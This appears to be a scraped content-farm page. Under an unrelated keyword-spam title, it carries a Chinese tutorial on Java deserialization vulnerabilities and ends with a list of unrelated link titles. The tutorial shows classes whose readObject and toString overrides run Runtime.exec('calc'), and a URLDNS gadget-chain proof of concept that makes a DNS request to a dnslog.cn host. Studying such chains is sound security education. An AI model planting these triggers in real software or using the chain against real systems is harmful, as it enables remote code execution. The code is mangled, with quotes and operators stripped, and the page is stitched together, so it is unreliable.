当前位置: 首页 > news >正文

创可贴app海报制作网站做网站有哪些技术

创可贴app海报制作网站,做网站有哪些技术,wordpress响应案例,三星官网商城时间轴#xff1a; 序列化与反序列化图解#xff1a; 演示案例#xff1a; Java-原生使用-序列化反序列化 Java-安全问题-重写方法触发方法 Java-安全问题-可控其他类重写方法 Java-原生使用-序列化反序列化 1.为什么进行序列化和反序列化#xff1…时间轴 序列化与反序列化图解 演示案例 Java-原生使用-序列化反序列化 Java-安全问题-重写方法触发方法 Java-安全问题-可控其他类重写方法 Java-原生使用-序列化反序列化 1.为什么进行序列化和反序列化 个人理解 因为如果转载使用ctrla和ctrlv的话那么会导致空格复制不过去什么的 使用序列化可以像是打包好了以后发过去。源码打包好发过去为序列化将源码的包解开发过来是反序列化 打包-封装-文件序列化 文件-解包(反序列化) 案例演示 1.创建SeriaTestDemo。 删除老几样34天有说 UserDemo package com.example.seriatestdemo;import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;public class UserDemo implements Serializable {public String namexiaodi;public String genderman;public Integer age30;public UserDemo(String name,String gender,Integer age){this.namename;this.gendergender;this.age age;System.out.println(name);System.out.println(gender);}public String toString() {try {Runtime.getRuntime().exec(calc);} catch (IOException e) {throw new RuntimeException(e);}return User{ name name \ , gender gender \ , age age };}// private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { // //指向正确readObject // ois.defaultReadObject(); // Runtime.getRuntime().exec(calc); // }} 其中toString为UserDemo的内置 序列化操作文件SerializableDemo package com.example.seriatestdemo;import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;public class SerializableDemo {public static void main(String[] args) throws IOException {//创建一个对象 引用UserDemoUserDemo u new UserDemo(xdsec,gay1,30);//调用方法进行序列化SerializableTest(u);//ser.txt 就是对象u 序列化的字节流数据}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.txt));oos.writeObject(obj);}}运行逻辑 下面写好了一个SerializableTestobj他的obj为uu定义在了上面UserDemo写在了第一个文件中 以下为输出的字节流 反序列化操作文件UnserializableDemo package com.example.seriatestdemo;import java.io.*;public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj UnserializableTest(ser.txt);//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object o ois.readObject();return o;} }运行结果 转换前的数据 转换后的数据 安全问题 反序列化利用链 (1) 入口类的 readObject 直接调用危险方法 (2) 入口参数中包含可控类该类有危险方法 readObject 时调用 (3) 入口类参数中包含可控类该类又调用其他有危险方法的类 readObject 时调用 (4) 构造函数 / 静态代码块等类加载时隐式执行 (1) 入口类的 readObject 直接调用危险方法 将readObject直接调用导致冲突 UserDemo中 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec(calc);} 与此处相互冲突 运行时会报错 理解 ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename)); Object o ois.readObject(); return o; readObiect——jdk 1.8 反序列化 ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename)); Object o ois.readObject(); return o; 重写readObject方法执行计算器 相当于执行序列化对象里面的readObject方法  而不是本身 可以使用断点来调试 选择第二个 点击步入 跑入到Runtime.java 应该跑入到这里 可以使用010editor进行分析ser.txt 指向正向的readObject若不指向下面没数据为空 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec(calc); (2) 入口参数中包含可控类该类有危险方法readObject 时调用 原理  如果换一个类 里面自带有readObject 会不会触发呢 //正常代码中 创建对象HashMap //用到原生态readObject方法去反序列化数据         //readObject 在ObjectInputSteam 本来在这里         //HashMap也有readObject方法 //反序列化readObject方法调用 HashMap里面的readObject         //执行链         //序列化对象hash 来源于自带类HashMap //         *   Gadget Chain: //                *   HashMap.readObject() //                *       HashMap.putVal() //                *         HashMap.hash() //                *           URL.hashCode()         //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞 UrLDns: package com.example.seriatestdemo;import java.io.*; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;public class UrLDns implements Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException {//正常代码中 创建对象HashMap//用到原生态readObject方法去反序列化数据//readObject 在ObjectInputSteam 本来在这里//HashMap也有readObject方法//反序列化readObject方法调用 HashMap里面的readObject//执行链//序列化对象hash 来源于自带类HashMap // * Gadget Chain: // * HashMap.readObject() // * HashMap.putVal() // * HashMap.hash() // * URL.hashCode()//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞HashMapURL,Integer hash new HashMap();URL unew URL(http://dmo1e2.dnslog.cn);hash.put(u,1);SerializableTest(hash);UnserializableTest(dns.txt);}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(dns.txt));oos.writeObject(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object o ois.readObject();return o;}}使用正常方法会产生dns.txt 可以使用010editor进行查看 正常情况下访问dns http://dnslog.cn/ 能访问上的原因 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java (3) 入口类参数中包含可控类该类又调用其他有危险方法的类readObject 时调用 (4) 构造函数/静态代码块等类加载时隐式执行 UnserializableDemo public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj UnserializableTest(ser.txt);//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}UserDemo Overridepublic String toString() {try {Runtime.getRuntime().exec(calc);} catch (IOException e) {throw new RuntimeException(e);}return UserDemo{ name name \ , gender gender \ , age age };}因为有toString进行string方法的改变在unserializableDemo中System.out.println(obj);//对obj对象进行输出 默认调用原始对象的toString方法 反序列化总结 1 、序列化与反序列化 序列化将内存中的对象压缩成字节流 反序列化将字节流转化成内存中的对象 2 、为什么有序列化技术 序列化与反序列化的设计就是用来传输数据的。 当两个进程进行通信的时候可以通过序列化反序列化来进行传输。 能够实现数据的持久化通过序列化可以把数据永久的保存在硬盘上也可以理解为通过 序列化将数据保存在文件中。 应用场景 (1) 想把内存中的对象保存到一个文件中或者是数据库当中。 (2) 用套接字在网络上传输对象。 (3) 通过 RMI 传输对象的时候。 3 、几种创建的序列化和反序列化协议 • JAVA 内置的 writeObject() / readObject() • JAVA 内置的 XMLDecoder()/XMLEncoder • XStream • SnakeYaml • FastJson • Jackson 4 、为什么会出现反序列化安全问题 内置原生写法分析 • 重写 readObject 方法 • 输出调用 toString 方法 5 、反序列化利用链 (1) 入口类的 readObject 直接调用危险方法 (2) 入口参数中包含可控类该类有危险方法 readObject 时调用 (3) 入口类参数中包含可控类该类又调用其他有危险方法的类 readObject 时调用 (4) 构造函数 / 静态代码块等类加载时隐式执行 本文章由李豆豆喵和番薯小羊卷~共同完成
http://www.w-s-a.com/news/975140/

相关文章:

  • wordpress多站点 主题南京做网站好的公司
  • 广州 门户seo到底是做什么的
  • 可以登录国外网站吗如何用家用电脑做网站
  • 吉安建站公司wordpress企业
  • 河北住房和城乡建设厅网站6thinkphp做视频网站
  • 遵义网站制作一般需要多少钱深圳全国网站制作哪个好
  • 公众平台网站价格哪个网站做餐饮推广最好
  • 深圳 公司网站设计重庆的网站设计公司价格
  • 网站开发市场分析餐饮平台app有哪些
  • 制作一个收费网站要多少钱开发网站需要什么技术
  • 网站流量统计平台二手域名做网站不收录
  • 蒙古网站后缀mysql8.0 wordpress
  • 免费建立一个网站互联网推广培训
  • WordPress多站点绑定域名深圳住房建设部官方网站
  • 网站建设公司zgkr上海网页网络技术有限公司
  • wordpress附件扩展格式徐州seo关键词
  • wordpress博客站模板织梦网站 联系方式修改
  • 北京城乡建设厅网站重庆网站建设解决方案
  • 网站建设和维护工作内容网站的空间与域名
  • 济南做门户网站开发公司网页发布的步骤
  • 江苏省交通厅门户网站建设管理办法做的网站怎么让百度收录
  • 关于怎么做网站网站site的收录数量要多远索引量
  • 传世网站建设阳光创信-网站建设首选品牌
  • 周口建设网站中国装修公司十大排名
  • wordpress自助发卡青浦网站优化
  • 南京建设银行公积金查询网站wordpress加载插件下载
  • 做网站怎么那么难网站的建设与管理的心得体会
  • 黄冈网站建设哪家快些网站规划与建设评分标准
  • 建站平台 绑定域名怎么在手机上做网站
  • 做电影网站违法吗莱芜 网站